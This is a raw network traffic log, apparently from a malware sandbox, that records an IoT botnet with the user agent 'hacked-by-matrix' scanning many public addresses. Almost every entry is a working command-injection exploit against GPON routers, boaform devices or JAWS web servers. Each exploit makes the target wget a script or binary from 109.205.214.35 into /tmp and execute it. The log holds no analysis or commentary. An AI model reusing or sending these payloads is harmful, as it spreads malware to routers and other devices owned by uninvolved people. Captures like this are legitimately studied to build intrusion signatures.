Mar 21, 2024 05:25:36.056365967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.23	45388	210.84.5.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056390047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.23	41616	2.61.236.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056431055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.23	56878	2.156.44.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056432962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.23	36774	2.111.159.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056508064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.23	38254	2.96.161.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056526899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.23	38766	2.123.238.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:36.056546926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.23	33584	170.133.22.134	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:37.302550077 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.23	40968	172.168.155.7	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:38.169186115 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.23	36470	153.121.72.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:38.420020103 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:38.680011034 CET	504	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:25:38 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 310 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 6d 2d 61 6b 74 2d 6f 73 74 6f 6d 61 74 65 2e 72 65 64 20 50 6f 72 74 20 38 32 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.15 (CentOS) Server at m-akt-ostomate.red Port 82</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.23	49932	23.128.248.125	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:38.421617031 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:38.553771019 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:25:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.23	45850	178.158.72.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065339088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.23	47194	178.247.241.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065355062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.23	60818	42.109.30.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065390110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.23	52770	42.192.190.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065428972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.23	40434	210.114.175.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065428972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.23	37534	109.77.27.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065432072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.23	46190	5.102.33.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065476894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.23	47202	37.20.183.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.065488100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.23	40184	45.38.15.252	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.348664045 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:43.475474119 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:43.629290104 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:25:43 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.23	50600	213.151.44.231	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:39.547907114 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.23	59048	104.66.236.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:41.451703072 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:41.729722023 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:42.038310051 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:42.153213978 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Thu, 21 Mar 2024 04:25:42 GMT Date: Thu, 21 Mar 2024 04:25:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 39 38 32 62 32 31 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 34 32 26 23 34 36 3b 30 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 37 26 23 34 36 3b 39 38 32 62 32 31 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 34 32 26 23 34 36 3b 30 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.982b2117.1710995142.0<P>https://errors.edgesuite.net/7.982b2117.1710995142.0</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.23	59660	139.64.175.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:41.480973959 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
